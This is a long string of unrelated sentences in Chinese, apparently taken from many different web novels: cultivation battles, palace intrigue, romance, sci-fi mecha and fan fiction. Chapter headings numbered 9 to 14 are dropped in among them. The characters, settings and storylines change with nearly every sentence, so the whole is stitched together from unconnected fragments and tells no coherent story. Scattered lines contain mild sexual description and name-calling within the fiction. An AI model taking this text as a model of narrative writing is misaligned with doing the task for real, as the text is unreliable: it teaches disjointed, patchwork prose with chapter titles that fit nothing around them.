体质的提升好处很多,就比如之前李言面对一些亚帝、准帝还是毫无对手,就连面对一个巅峰半帝也很难解决。结果力量增强后,撕碎一位位亚帝、准帝轻而易举,并且凭借着可怖的力量连圣海天子都打得十分狼狈。 农院很安静,有种让人发疯般的沉默。他本是很适应这种黑暗大雨与孤寂死沉,但现在,不知道为什么有些惆怅起来,心脏有一种说是痛、但不是痛的痛楚,像是抽了抽。 这尊巨兽形状怪异,羊身人面,眼睛长在腋下,有着一颗巨大的头颅,一张大嘴几乎占了头颅的三分之二,嘴里布满了密密麻麻的牙齿,非常恐怖。 上次,你因为自己的风筝没有卿儿的好看,所以特地踩坏了卿儿的风筝。上次的上次,你因为画儿在跟卿儿说话,没能注意你的叫唤,所以说了一堆刻薄的话来膈应她。 看来方兰生真的是饿了,一双筷子都不带停顿的,胡吃海塞,嘴里塞满了菜。 后来数年间,不知什么原因,褚狂狮修为大涨,连带着狮虎会也是极具扩大,而后不过数十年的时间,便是顶着天地盟的打压,成为了与之并肩的超级势力。 还有云战的底线,金云公主是他的底线吗?这一刻,凌苏的心竟毫无预知的痛了起来。 “我们得知你是来了宗门,听说是墨公子出了事,我们便想着过来看看有没什么帮得上忙的,后来在路上遇到白云葫芦,便一起过来了。”司徒开口说着。 想及此,黄铮的心“咯噔”一下,这才意识到此事的多处蹊跷,赶紧与黄天霸往县城赶,若按二人的速度,天黑赶不到县城,就进不了城门。 毕竟,他们没有照明工具,如果在白天离开,恐怕要很长一段时间才能适应地下河里的环境。这可是非常危险的,毕竟谁都不知道地下河里面是个什么情况。 现在如此妥协,云战只想到一种可能,那就是凌苏对自己失望甚至绝望了。 说完,就扶着云战率先走进一座山峰的侧面,秦成见状紧随其后,一刻不敢松懈。 躺了一会儿,困意袭卷,凌苏上下眼皮打着架,竟睡着了,而且,不知为何,有云战在身侧,好像尤其的安心。 马修向他说了谷外发生的事,然后把杨不悔的身世和他说了,胡青牛也是打着保票说要送她回她爹爹那去,等他安排好人之后才郑重的向马修道谢。 秋实的话一落,凌苏明显感觉云战环着她腰身的大掌僵了那么一下,凌苏本就闭着的眼睛在听到秋实的话之后,缓缓的睁开。 这也是江州府、江阳县所有官员明知道萧毅被贬谪此处,却处处不敢贻慢的另一个原因,因为,有个老将军的爹,有个明明应收回、却没有人收回的虎威令,一切都表明,这位爷,迟早得官复原职。 再加上现在天气冷了,她连车窗都没开过,车子也没熄火,一直都是发动的状态。 户部是六部里面油水最多的,四皇子手里拿着一个户部,这些年还指不定在暗地里都做些什么事情呢。 本来她应该是死尸一具,可是机缘巧合之下,穿越到了这个不知名的朝代,甚至在刚刚穿越来的时候还发生了奇遇,变成了一只哈士奇,那晁雎现在所说的这个秘法也不一定是不存在的。 “通通石化!”司薰头也没抬对准声音源头念出咒语,突如其来的咒语阻碍了狼人的动作。 晏时看了看他,又看了看司礼,最后转向庄昭,眼神询问:这家伙吃错药了?还是太阳从西边出来了? 天刚破晓,猪八戒看着还在睡梦中的众人,纂着手里的打车卷,心中默念着天竺国。 盛暖阳知道齐仲亿和栗帆海俩人有过节,只是面子上过得去,并没有想跟他多说话,就赶紧的摆了摆手,把头转到门卫这边。 宋北北一直被君墨寒抱着,这会儿看到休息的大床,高兴的跳到了床上开始蹦达。 第9章 黑黄金 现如今,唯有数千年前的强者出现才有可能打开这战旗,想要用强,基本上是不可能的,而且还要保证里面的人的安全,难度就更大了。 多美妙的谎言,他无从拒绝,就算不是真的,是假的,他也心甘情愿。 虽然心中感觉很温暖,但是央媂莲拼命的挣扎,不想被这种思绪给带进去。 自主持长老的话音落下,阵阵能量爆发的闷响声响彻而起,震荡空间,一道道涟漪光波从整个擂台周围扩散而开。 即便是他再淡定,即便是他修为再好,此刻也是彻底的震惊住了。 许多人在议论纷纷,北城和魏玉山这两个字眼被人们提的最多,因为这两者无论哪一个,都是众人仰望的存在。 百里孤烟厌恶地将他推开,但却借着他度给她的那口气,活了过来似的。 看到这一幕的人,全都心神微凛,不自觉的远离那人,一看到那柄长刀,众人就觉得皮肤刺痛,仿佛下一秒那柄长刀会劈在自己身上。 那一天开始,不再有人敢欺负他,那些庸庸碌碌的皇子们对他更是惊若寒蝉,哪怕是视线的接触也会让他们吓得连气都不敢喘一下。 “还在为白天挨训的事难过呢?”斯哲走过来,坐到她身边,抬手习惯性地抚上她柔软的长发。 李白发照片给冷若冰的时候,冷若冰正在翻看学校周围的美食攻略,她准备要找一家,可以用钱呗消费的店。 但是,有了结界就不一样了,结界可以让土遁失效,罗伯特等于白丢一技能。 听东方鼎这样一说,好像爷爷原本就是个冷漠寡情的人,才会变成这个样子。 “教授,你不觉得这个环境,和我们在伊甸园第一次发现传送阵的那个洞穴很像吗?”李青枫问道。 对面的三人都是一怔,筷子僵在半空,又轻轻放下。三人的目光不约而同的都投向了李队长。李队长将杯中的白酒一饮而尽,然后将酒瓶中的最后一点全部到进了自己的酒杯。 而且原本天人府中便有三千五百八十二人之多,按理说随着天人府的规矩改变,天人府中的天才应该越来越多才对。 我不喜欢这个警官说话怪怪的语调,更不喜欢停尸间里阴郁的气氛。 我心中暗自鄙视他,觉得不管他法力有多大,但跟我的东方鼎,人品还是差了不止一点点。 走到了水仙儿所在的药房门口,岳墨尘却突然顿住了脚步,欲想要进入其中却又不知该如何去面对水仙儿。 地面上的血腥味还在弥散,但是血腥味也不能让乔心冉平复怒火。 岳墨尘在与景晨合集两天后最终才敲定了注意,打算运用大量的黄灵圣精作为阵法支撑开始施法。 绝大部分的人都是神念扫向四周,但除了几个刚到此地的人之外,这里的人似乎并没有发生什么变动。 傅明朗抿唇暗恼,原本已经计划好了一切,没想到被这傻丫头三言两语给破坏。 孟婆将他们一滴一滴的泪收集起来,煎熬成汤,在他们离开人间,走上奈何桥头的时候,让他们喝下去,忘却活着时的爱恨情愁,干干净净,重新进入六道,或为仙,或为人,或为畜。 “你的力量整体来讲,虽外持神兵,内修仙功,但除了身中轮回印之外已然堪称完美,塑造性无限大,有机会窥视永恒的契机。”洛洛眼含异色的说道。 “你们····”见到自己的战友被杀,一众将领立刻便想要抽出武器与之拼命。 老者又气又怕,感受到身后传来的滔天威压,想到面临死亡的绝望,脸色都黑沉铁青。 然后自己就满足她的心愿,自己要出元币给她修建一家大型的客栈,让她做掌柜子。 大臣们商讨了一个早上,一直到天色大亮,制定了完善的计划方才罢休。 左轻衣目光闪烁,她本身就是陛下,赏赐什么还不是她一句话的事。 现在他还吃得不多,等以后食量上来,再去讨要就不够吃了,同时别人也不是做慈善得,天天白送。在一个你天天吃也容易招惹到猎人疑心,不怕死得人毕竟还是很少。 祁明哲要出家的事情闹的沸沸扬扬,而祁简宁的婚礼也近在眼前了。 哈尼磊急忙躲避,强行切弯躲避,但还是被擦到了船翼破坏了平衡装置,飞船顿时失去了平衡,开始极速旋转前行。 看着远处其他学员乘坐免费运输船,他们四人登上了有反重力的客运飞船,依然像上次一样,够买的是软座票,比硬座好上那么一点,比起高一等还有特等的差许多。 左轻衣一身红色轻纱,瀑布般的青丝披散在肩头,一直垂落至腰间。 近身之后先是一脚踢出,却被对方轻飘飘地避开,白户看到更是恼火,紧接着一连串地动作想要擒住对方,可是才刚触碰到它的手臂,白户就被卡利星人甩了出去。 唐拓经过仔细的心理建设后,终于开口问了一句,同时,脚步也开始往冷忧寒的位置走去。 漆黑火焰滚滚而去,但同样的一幕出现了。火焰方一和光幕接触,立刻在一层暗红血光闪动下,被反弹而开,根本无法奈何此处禁止的样子。 二宝他们即便哭得已经上气不接下气了,可也分得清楚事情严重缓急,知道无论如何是不能让大爹爹过来的。 鸣人的实力已经让这位圣十之一完全信服,这种挥手间制造出如此庞然大物的本领,简直就不是他能够掌握的境界。 “拉伯克,你别玩了,娜洁希坦姐姐和赤瞳它们已经突入大臣府了,要不要我帮你解决这个对手?”这时候,墙头上玛茵拿着南瓜火炮喝斥道。 第10章 新的家人 洁兰公主自从离开汉朝,就从来也没有想过要成为左贤王的王妃,只是,为了保全自己一家人的性命,她不得不离开汉朝。 正当他的战马驰骋的时候,一队人马拦住了他的去路,这队人马不是别人,正是慕容德涛。 刘远山听后微微一愣,今早的事情的他是知道的,只是他万万没想到宋伟竟然会亲自过来。 是的,自从德清一战全军覆没以后,钱镠就表现得有些畏惧起来,甚至当初还想把越州也直接放弃,将军队全部调回杭州来防守,最后还是在罗隐的劝阻下才没那么做。 忽然就想起了待宇闺中时听到的坊间传闻,南承曜性喜精巧,所用所出,每一件,莫不要这天下间最好的,丝毫不忌惮世人眼光。 相撞的瞬间,西蒙的拳头变成了一个肘击,而林风的踢腿同样变成了林风顺势在半空中翻了一个跟头。 所以在航行了五天时间后,李承鼎估摸着自己应该是来到了倭国和新罗半岛之间的海峡。 林逸看手上灵珠,只见它越来越抖,光华越来越淡,好像就要化成石头。 当初杨渥成立效义军的主要目的就是为了尽可能的吸收梁军降军来为吴国征战,但时至今日,随着梁国的灭亡,效义军的存在就有可能会成为新的矛盾焦点,从而引发效义军和禁军之间的冲突。 如今的王延禀,身为王审知的义子,又执掌亲军,在福州城中乃是说一不二的大人物,不管走到哪里都会受到周围众人的追捧。 司清闻言,心多了一份戒备,即便是在苗疆,知道‘阴’蛇蛊的人也十分少,没想到青衣居然一下子猜对了,司清心有一个疑问,她该信他吗?这个她甚至连姓名都不知道的男子。 真嗣不指望大字爆能赢得过铁旋三合一磁怪的电磁炮,但只希望能够引爆他,让力壮鸡渡过这个回合。 “信她?你是不是有什么误会?”一手握住折扇敲打的另一只手的手心,俊逸潇洒的脸上满含温柔笑意。 一声闷响传出,俩道人影直接是被震的倒飞而出,脚步在擂台之上连踏数步,方才勉强稳住身形。 就在了尘和张家二妹即将走出院子的时候,一个让了尘意想不到的人冲了出来,死死地抓住了张家二妹的衣角,不让张家二妹离开。 叮当四处看了一会儿,未曾简单红袖,今夜不安全,红袖不应该贴身保护夫人吗? 因为腹诽幻想了一下夏侯沉霄,温玉蔻被偷香后的窘迫与生气荡然无存,心情变得明朗又轻松。 膀,而看到了这一对的翅膀,药老还有风尊者甚至以及萧炎都是有着一抹凝重的神色。 “一明一暗,一正一邪,任何事物,都是这般,永远不可能成为知己,否则就打破了天道的章法。”炎舞对萧戾道。 “我这是第一次见男人。”一个老婆婆不由感叹:“原来男人身后是长着翅膀的。”看着炎舞身后的翅膀,这位老婆婆以为男人身后是长着翅膀的。 “要是以后修行结束了,那个家伙的修为超出了我们一大截,我们肯定会被骂死……”杜瀚云一边说着,一边想象着那种情形,不禁被吓得打了一个冷颤。 不过,俩人可说好了,尽量保持一定的距离,别人那些记者给逮到了。 当这一昼落下帷幕,夕阳的最后光辉也消失不见,黑衣人告辞离去。 “额,并不是这样的。主要还是因为墨白哥不在了,所以我在这里工作也没什么意思。打算辞职!”于梦雪的话很长李墨白的脸。够意思。 别说现在的楚江,就算他实力再提升十倍,恐怕最后也会落个分割成肉渣的份。 其子贾思齐,年幼聪明,再加上勤奋好学,一直都是长安城中风流才子的典范。 “这个狐狸精,就知道装楚楚可怜,去骗男人的同情!”封丹露咬牙切齿道。 夜摇光每个字咬的很重。盛明珠能够听出来她的意思,她是评委手上还有一张淘汰权,而她是参赛选手,说不定哪天就会被她淘汰出去。 想自己降临这个世界之后拥有了这么高的身份和这么强大的体质,可是自己的运气竟然这么不好。 招募就这样有条不紊的进行下去,一天少说也能登记上千人左右。可就算如此,安阳城内聚集的流民依旧越来越多,不少附近听闻消息的乡人也好奇赶了过来,或看热闹或者询问前往安徽做工的一系列有关事项。 “周参军!”一个躺在粮草车上的伤兵最先发现异常,带着悲愤哭腔指向城门高处。 司马荼兰那双明亮眼眸里某种光泽正在慢慢逝去,易怀宇死死盯着她,看着看着,心里忽而一阵惊慌。 “躲起来。”夏宝贝说道,两人正好跑到废车场,一排排全是废弃的汽车,很容易藏身,夏宝贝和唐老藏到一辆轿车下面,没一会儿就听到脚步声。 这声音,似曾相识,含着笑意,不紧不慢,虽有些薄凉,却无恶意,他是谁? 狗改不了吃屎,这个凤饶雪肯定还是忍不住会勾搭男人,大皇子把他送回来,不是明目张胆的让陛下乱了心智? 无语了,沉默了,面对三叔子枫崩溃了,谁更无耻?谁更邪恶?比起三叔来,神马都是浮云子枫只觉得自己简直就是一个初生的婴儿,三叔那伟岸的身躯,挺拔的身影自己永远都只能够仰望,无法超越。 嘴上虽是说着要“交待”,只双眸却是紧张兮兮地盯着而司湛的肩膀看,唯恐自己发了脾气,会惹得他乱动。 “我笨?为什么?”随即,那诧异的声音响起,迷茫的眼神看着子枫询问道。 “哪个狐狸精来电话,这么看重。”林然嘀咕一声,陈扬微微一笑。 连带着,花草精灵和自己母树也消失了,不知怎么的,好像是被拽走的。 胖子下了车,一路追过来,随口又说:“不如我们找找附近的山里人,兴许能问出个所以然来!”闻言,梁辰点头应承一声,二人即刻四下里踅摸起来。 第11章 早教课开始了 顾澈站在原处,眉梢微微上挑,也如温颜所料一般不曾推拒,安置了牛车之后,便进了药铺。 “架炮,立刻架炮。”丁毅不管三七二十一,立马吩附架炮,同时一步踩到马车上,又爬到车顶,用望远镜看去。 金宝珠也不让这些人失望,照样一人一张八折卡,顺便把赠品分出去。 可他还没有逃出一里,被他扔掉的玉胎并没有坠落地面,而是缓缓的飘了起来。 这里虽然人很少,但是为了安全起见,赵昊还是戴上口罩墨镜和鸭舌帽,在牙花妈打开别墅门,把车开了进去。 青鸾手握“青鸟”,狠狠一甩,朝那鬼魅的方向狠狠来上一枪,那一枪带着青色火焰,凡是被火焰跃过的空间,都会因为那股强劲的能量波动震碎。 魏长峰吓坏了,差点跪下,万万没想到死的居然是罗无缺的爷爷,凶手还是王家,这不仅是林州的天被捅破,而是整个天朝恐怕都要变。 ptsd这个病,现在有时会和玉玉症搞混,成为一些搏流量的流行病,而实际上这个病来源是很严肃的。 温颜从怀中掏出自己随身携带的包扎用品,开始为这黑衣人清创消毒起来。 毕竟‘绝尘之地’受到的压力也会有一部分传导在使用者的身上。 这卫熙回去后越想越气,但是自己却没办法立刻报复,毕竟这卫云鹏并未做错,理亏的反而是自己。 我拜剑山庄数百年来花费无数心血铸造绝世好剑,它经过百年的千锤百炼,无论是长短还是宽度都被改造得无比的完美,不差一丝遗憾。它的锋芒将会掩盖世上所有的剑。 这个时候,李穆已来到了一万五千丈处,周遭早已被浓浓的白sè云雾环绕,一眼望去白蒙一片,看似有着一种朦胧之美,可此刻谁又有心思去欣赏这些呢? 连忙拿起甩在一旁的衣物匆忙穿好,整理了一下凌乱的发髻,同时不知道为什么,练青霜也顺手帮云清把衣服也穿戴整齐。 “道友客气了,哪能总是叨扰您呢。”何凯客气的说笑了两句,随后祭出了一艘画航出来,比起先前的乌篷船来却是宽敞且华丽了许多。 甚至,你可以联合其他四大至高神使,掌控整个神界。就算那诸神联盟的所有主神全部降临,也都拿你们没任何办法,甚至还会被你们反杀。不过,你们也要付出生命做代价。 “这种礼节xing的东西麻烦直接跳过吧,我就是来找事的。”白清炎这个时候才懒得去理特梵姆的问话,转而又将刚才的话吼了一遍。 面对忽然出现的紧急情况,卫紫下意识的将刹车踩到底,然后使劲一橹方向盘,结果大坑是躲过了,车却咕噜咕噜咕噜在公路上打起了滚。 当林枫的将黑龙的心头血,全部炼化的时候,林枫的灵魂能力也强横很多,双臂的骨骼也恢复好了,骨骼的强度,比以往增强了不少,骨头上都带有了金光。 “你敢动我家公子一根汗毛,我逆天城将誓死追杀于你!”二十一名弟子几乎同时厉喝出口。 刚刚飞起的魔法师们,只听见一声巨响,还不清楚到底发生了什么事情。 原来,欧阳家的家主早就把尹陆离前往三清观来取血灵芝的消息告诉了马堂主,希望马堂主派遣刺客劫杀尹陆离。 一道惊恐凄厉的尖叫声自那神魂口中传出,回荡在白皓宇识海中。 王钰锟看着疑惑的众人,并没有过多的解释,真气外放,对着墙壁就是一掌。 来到面试的地方,两人便开始等待着,此时这里已经有好多人在等着面试了。 “规则,是凌驾于法则之上的力量框架,必须靠世界自行诞生,界主、超阶也触碰不到,只能遵循。”幽幽子做了收尾,抬头看向两眼放空的太一。 许乔乔听到这声猫叫的时候,瞬间便反应了过来,她连忙后退了几步,爪子揉了几下自己的耳朵,似乎对方刚刚呼出的热气还残留在那里。 经过商议,他们打算把耶律齐扶上皇城司,耶律齐头脑精明,而且他对蒙古鞑子有仇恨,如果他能打入皇城司,是最适合的人选。 阳光都是将两人的身影拉的老长,尹陆离就这样抱着怀中王紫妍,朝着洞府走去。 李威廉,李家当代第一高手,李岩靖的哥哥,也是那五位未被挑战的人之一。 一旦秃鹰帮发现了这些本应有人的坦克内部不仅没有人,连一句尸体没有留下,一定会发现端倪。 他们在进入毒窝的那一刻,就发现根本没有不是项羽所说的那种宝藏,便知道被骗了。 纳米只是一个量度的概念,将纳米技术应用在人体强化上,大概是指利用纳米机器人,或者用某种方法达到对人体某些部位的纳米级改造。 看着锅中的丹药彻底的变成球形,表面也虽然粗糙,但也有了丹药的模样。 自家少爷的解释并没有让她放心,她太熟悉少爷刚才那种炙热的眼神了,尽管她想不明白,但她就是知道,少爷绝对是要搞大事,他说的大招真的要来了。 裕大少这样安排满满的一天,不仅让绿竹震惊不已,就连青媛也惊讶万分。 避免这事儿他压根没想过,虽然这黄天是这样承诺的,可是这背地里估计是恨不得刮了自己的皮吧? 我故意在发现蚩尤那里添油加醋,故意吓吓他俩,说着说着我发现一块水晶后面有一个黑影,对了,还有张三臂呢。 除此之外,还有一部分人的气息几乎全无,如果不是亲眼看到,根本就察觉不到对方的存在,这只能有一个解释,对方的实力太强。 季如烟只觉得头都大了,看样子,街是不能再逛了,还是先把这两位给安排好再说。 第12章 赔了夫人又折兵 这武林高手也是扭了扭脖子,然后坐在了这木桌边上,因为昨夜喝了酒,所以,这一早刚刚起身来,还是感觉自己的头有些昏沉的感觉的。 威廉姆斯从业20多年,钱早就挣够了,篮球有得是,不差陈楚默一个篮球,听到陈楚默对自己崇拜自然高兴为他签名送篮球做留念。 “你已经是一个丑八怪了,还怕脸上再多一条疤么?”纽馨儿说道。 “果真?”玄十天宁立不动了,她喘息一声,立即点头,那星星眼认真的看着玄十天,这才点头。 就在此时,尹怀熙感觉身后有异常,转身一看,却见陈君梅单手成剑指,直指苍穹,口唇轻动,似在念法诀,只是表情凝重,隐隐有痛苦之色。 至于钱,肯定得在徐阳和魔都卫视正式签订了转让合同之后才会划给他。 话音未落,寒烟尘顿时和白凝夕面面相觑,他们似乎都有一种不好的预感,“在哪?”沉默了一会儿,寒烟尘出声问道。 林水寒心中的困惑不禁脱口而出,“你的意思是,红长老是坏人吗?她是幽扬曲的人吗?”他转身,视线猛然就落到了苏卿的身上。 佳瑜释然的冷笑了一声,她长这么大,算是涨见识了,一直以为这些桥段只有在狗血似的电视剧里面才会发生的虚拟事情原来在生活中是有真实存在的。 如果不能在事先就尽量了解,徐阳生平到时候与星宿老怪狭路相逢的时候,会有什么意外。 她一侧嘴角微微翘起,那副神情很明显,不是半信半疑,而是压根就不信。 锋哥道,靠,天涯何处无芳草,走,假期我们去音乐学校,找几个嫩妹妹。 大夫人越听越是心惊,却还是忍不下那口气,狠狠地瞪着二夫人,似要将她生吞活剥了去。 可是李子阳害怕,瑞士银行的人可不害怕,他们的银行的系统乃是世界最厉害的,当然这只是他们自己的认为,陈一刀可不这么认可。 “那你自己回家去做饭吧!我去苏大妈家吃好吃的,嘿嘿……。”陈一刀嘿嘿笑道。 同时怒喝一声,两人顿时就使出重招,轰然巨响之下,两人顿时就各自被对方的气劲震的连连跌退,一阵的血气翻涌,一番拼斗,聂枫退了五步,而叶孤城却是蹬蹬连退十多步才停下。 有年轻的母亲道:为什么不能婴儿呢?1岁的?我就喜欢1岁的。 凶猛的力道撞击而来,王言只感觉胸口一阵剧痛,身体在力道的作用下蹬蹬的退开几步。 “呵呵,好,都是我的好徒儿,你们先过去吧,让我们一起看看你们的师弟究竟强到什么程度!”傅瑜听了聂清风一番话,脸上再度露出笑容,欣慰的对自己说道。 “烟儿,你是担心你姐姐,还是担心三少爷?”锦娘听了便装作随意地问道。 看到这样的字条,一个骷髅愤怒的滋滋起来。这时,他旁边的另一个骷髅拦住了他,刷刷写了起来。 猛然间,他发现了一团以前没有注意过的银色光芒。这种光的颜色他再熟悉不过,那是凝聚起来的魔法能量。 考试刚刚结束,整个霍格沃兹的学生不管考没考好都松了口气,这时候就是放松的时候,大家都开始收拾东西,准备回家。 两人边吃边聊,李修缘已经知道了李紫嫣的来意,所以他对李紫嫣没什么好客气的。毕竟是她有错在先,请他吃顿饭当做补偿并不为过。 孙成德虽然满脑子问号,但也不再多问,赶紧把手中刚刚被点燃的,一支售价为五元一包的软白沙塞进嘴里用力吸了两口,然后把烟头捻灭丢进垃圾桶,跟在王鸽后面去了急诊大厅。 藤原刷雄的脸庞猛的抽搐一下,被甄乾逼到了墙角的滋味很不好受,不过自己也是拿得起放得下的人,知道现在应该怎么做。 黒域城大厅中,弥漫着烤肉的香气,一只只烤全羊在炭火上翻动,香气四溢的油脂滴在明亮的炭火上,发出“哧哧”的响声。 这辆车底盘比较高,刚才从伤员身上碾了过去,而且并没有经历过任何撞击,车辆情况很好。 卿羽忍住想骂人的冲动,毕竟她向来修养极好,不至于被这男人的几句话激的破功。 苏河注意到了谭雅身上的机甲仅仅是S级别,似乎比自己的SX级别要低上一些。 听到这句话,维金斯便隐隐约约觉得有些不太对头,可当苏河收起了自己的头盔,露出了一副亚洲人的面孔的时候,维金斯的心却猛地咯噔一下。 除了一袭比没穿还要人命的薄袍,她竟然真空上阵!这么娉娉婷婷地走着,丰腴胴体无不纤毫毕呈。 顾眠很诚实的摇了摇头,苏千寻见状立刻把这条领带也让店员包了起来,她付了钱,让顾眠送给唐醉当作新年礼物。 车子开出去,保镖们也松了一口气,然而接下来的一句话,却让他们立马哭笑不得。 管家见龙司爵进来,便立刻走到病床边,把龙老的面罩拿了下来,让他可以说话。 赵虎的进货计划还没完成,老西蒙就找上门来了,同时还带来几挺双管十四点五毫米高射机枪,言谈之中,差点把赵虎夸上天去。 听着听着,他突然觉得有点不对,头顶上好像有什么“噗噗噗”的扇翅声,顿时奇怪地抬起头,想看看究竟什么鸟会不怕死,这么冷的天还会出来觅食。 第13章 碰碰运气 夏新稍稍挪了下身子,避开阳光直射,还有些发呆的看着挡风玻璃前边的景物在不断的后退。 听到身后咔哒咔哒的脚步声,白卓寒微微挑了下唇,用袖子拭了一把唇边的血迹。 所以她才会设计接近墨安晏,才会在离开的时候,对他刀剑相向。 原来是第一次手术后,李叔的身体出现了严重的病症,黄骨髓脂质较多,损伤了骨头周围的血管,并沿着血管的破口进入了血管之中,侵入血液循环系统,流遍了全身。 阮舒倚在门边,看了她有一会儿,少顷,兀自踱步到佛龛前,顺起三支香,并拢香头凑到烛火上点着,然后微低脑袋,恭恭敬敬地双手持香抵于额上,心里想的是手术室里流掉的那个孩子。 最终她还是接下了。当然,不是因为栗青转述的那句什么“量身定制,完美合身”,而是因为“特意挑选”——她料想衣着上可能藏了点用意在里头。 夏新知道,苏晓涵一定是在没有办法的情况下,只能选择签约了,而且,8000万也是相当高了,只是相对她的人气,相对现在竞争激烈的直播平台,相对其他主播来说,其实还不算高。 洛水仙虽然双手都在微微颤抖,却是努力做出一副平静的样子,褪下长裙,先抬起一条修长的雪腿,伸出裙外,然后又慢慢抬起了另一条美丽的长腿。 但是,要融合天使基因的个例极难寻找,大部分人都是中途猝死了。 他动作非常的单一,就是把棍子收回去顶出去,我看不懂这是什么意思。 做了几次深呼吸,陈敏才从这种状态中清醒过来,她扭过头,深深看了眼紧闭的家门,坐上自己那辆奔驰,绝尘而去。 月影看了看闪着蓝光的刀锋,并不觉得特别喜悦,因为她精神力还催不动它的能力,目前它不适合她。 但自从那次燕王樽事件后,叶婉仿佛对叶锦幕的态度,来了个极大的变化。 那一会儿,即便是病人真的推入病房,恐怕也无医生救治,这可不是好事。 电魈也对人类世界好奇,天知道,他在这里关的时间要比青鸾还久呢。 校长都得叫他一声陆爷,再加上昨天发生的事情,校长当然不敢怠慢,只有半天的时间就全部搞定了。 苏棠取了行李,等赵婆子丑丫回来,见她们真好好的,便把点心留给她们,让她们与乔婆子严嫂子叶大娘几人分了便离开了倒座房。 苏棠知道没了逃跑的机会,又不想干苦工,干脆直接回房间躺平休息。 想到这里,它又长啸一声,想阻止怪物们继续进到白光当中,那些怪物却没有一只听它的还在接二连三的往里面冲去。 说话间,他们已经追出城外,可还是没有发现陈寄凡等人的身影,狗剩觉得很奇怪,因为按照陈寄凡身上的禁制指示,他们三个应该是走的这条路出城的。 白千鹤将目光投向阿元,阿元是他最喜欢的一个师弟,此时,看到李杰的下场之后,白千鹤的心情变得异常复杂,倘若这时候是他去面对强敌,他绝对会义无反顾地冲上去。 “总之事情大概就是这样,你今天也累了,先休息吧。”奚芥骨起身,安抚地摸了摸他的头,和彩青一起离开。 陈默意外的看着典韦,他都不知道诸葛亮能带多少兵,这货是怎么算出来的? 他说完这话的时候,陆雨恬也跟着起身,向后面的学生稍稍摆手示意。脸上的那抹骄傲和高不可攀,任谁都能看得出来。 在吸收了两颗真气珠以后,刘二体内的外来真气终于被拨回正轨,沐言祖如释重负地呼出一口气。 此时赵焱将一件已经炼制好的赤甲虫盔甲放在一边,另一边从黑骷髅中取出已经摆放整齐的人面蛛丝和高密度金丝。 “不错!”周瑜闻言松了口气,情况还不是太差,还有挽回余地,连忙跟鲁肃一起往孙权府邸走去。 许皇后微微蹙眉,本想等没人的时候劝告儿子,即便轩辕瑶恢复了身份,也是远水解不了近火,当务之急还是要稳固东晋内部权势才对。 她今日进城,因许久未见父母,待得久了点,回过神来天边已经擦黑,还没来得及赶出城,再眨眼就出现在了玄风城外的旷野,然祸不单行,她紧接着就被凛雕族的华宏锋带人堵了个正着。 说话的同时,他把自己的手臂从灵心手中抽出来,揽住了灵心的肩头,似在向左鎏轩宣誓主权。 今晚夜会预定参战的成员一直到顺位第七十四名,十分神奇的是他们的国籍有着英吉利、荷兰、西班牙、印度众人的国籍各异。 他不是生气那顿饭,他生气的是明明只属于他和她的草舍,挤进了那么多多余的、碍眼的东西,草舍虽然不再简陋如昔,然而再也不是那他视之为家的地方了。 第14章 欺负小朋友 对于这个问题,当初攻入恶魔城的神圣系学者们,为了能确保将河中所有不死族跟恶魔系全部杀灭干净,特地制作了这种既可以治愈,又能对恶魔造成极大杀伤效果的特殊圣水。 林景辰瞳孔中倒影出她隐隐露出的娇嫩,幽暗的眼神深邃到了极致,他本就不是束缚的男人,更何况这还是自己的老婆,见到这样的美人图,他自然不会为难自己,随即便欺压而上。 能开工的机床只有5座,每次打造完后,还得需要大量傀儡为这帮怪物一一穿戴,且一次只能完成一两只而已。 其余三家一听,顿时倒吸一口冷气,想不到左中正竟然如此大出血,这恐怕已经是左家的一半家底了。 因为老麦答应过她,会在场地、货源和人脉等上提供应有尽有的支持,并让超市挂靠到金石集团,受其庇护。 傀儡隐隐组成战阵,百吨铜牛冲天而起,巨角猛抵金灵蛟胸腹,火鸟喷吐毒火,灼烧金灵蛟,蝎足人身傀儡则是竖起巨尾,一道黑光从蝎尾喷射而出,直取金灵蛟下腹之处。 倒是在他居住的地方,搜出一批古董来。之前的跟踪监视,警方早把他的住处摸清楚,至于还有没有古董藏在别的地方,或者寄存在某处,就不知道了。 最后所有的怪物仰头长吼一声,咻咻咻地留下一道道红色轨迹,瞬间消失在了视野中。 林雨心中虽有疑惑,但现在显然不是追究此事的时候,单手一番,剩下的四条五行链犹如毒蛇一般向一个方向飞去。 可是还没等他动手,一道磅礴的气势便是从天而降,然后把云尘三人给笼罩了起来。这股气势很强,压的周围的石头都是不住的碎裂。 张鸣非常客气的说道,同时看了一眼张医师,他们两人早就彼此熟悉,自然知道对方到底在想些什么。 孑已被制服,颛王东打算从它的嘴里套出水异族的真实情况,而本就无欲无情的孑也不会有欺骗的想法,三人便开始听起水异族的真史。 于是他刚走进候车大厅,所有人的目光都是被他吸引住了,然后就那么呆愣楞的看着云尘发呆。 林菲儿说完就去找了导演,可是导演却说自己身体有些不舒服,需要休息,这让林菲儿很是生气又无可奈何,只能等着这场戏开拍之前再跟导演沟通了。 因瓦伦特利并不打算阻止他们的争吵,不过令他好奇的是,为什么泽特一定要自己将德菈带来?此时的德菈就坐在因瓦伦特利的身边,也不知道这丫头在想什么,一言不发地埋着头。 没过一会儿,突然从四面八方出现了无数只乌鸦,开始疯狂的地攻击我们。 五十两黄金,相当于一千两白银,江安义被震得目瞪口呆,这些钱足够自家花几辈子了。 一时间,林毅和林初夏的目光皆是有些奇异的看了一眼云尘,难道云尘说的这些都是真的? “我是不是牙尖嘴利,你且前来试试不就知道了。”苏毅毫不犹豫的说道。 这牵引力极其霸道,但却是诡异之极,并没有让人受到牵扯,只是清楚的感应到这种气势。 犹豫了片刻,他转身走到了水晶靠中路的一边,这样的话,即使有来堵他,他也可以直接送塔。 “怎么回事?”余晖的话刚刚发出去,万能的蛋蛋立马就回复一条。 “不愧是我大韩民国男子,能够让美国人都下跪认错,真是大韩民国的骄傲。”看着远处跪倒的美国人,朴在树心中激动道。 暗影,直播间在线人数七十万,穿越火线游戏主播,虽然叶寒对于枪战游戏无爱,但再怎么说着这也是旗下的游戏主播,进去,待了三分钟,一百万狗币,一座金矿,看赏,继续下一个直播间。 谷腾飞的状态和当年万昆追拿自己时是一模一样,眼看着就要到手了,哎,就是差那么一点,始终让你无法抓住。 我再一次闭上了眼睛,可是还没来得及进入冥想的状态呢,我发现了一件很恐怖的事情,我原本一身的实力都没有了,我现在就好像是一个普通人一样。 转身走进大四方的万若踢踏着脚步,玩世不恭的样子,像个孩子一样。 这些丹药对于修士来说用处不大,但对于凡人来说却可以起到延年益寿之功效。 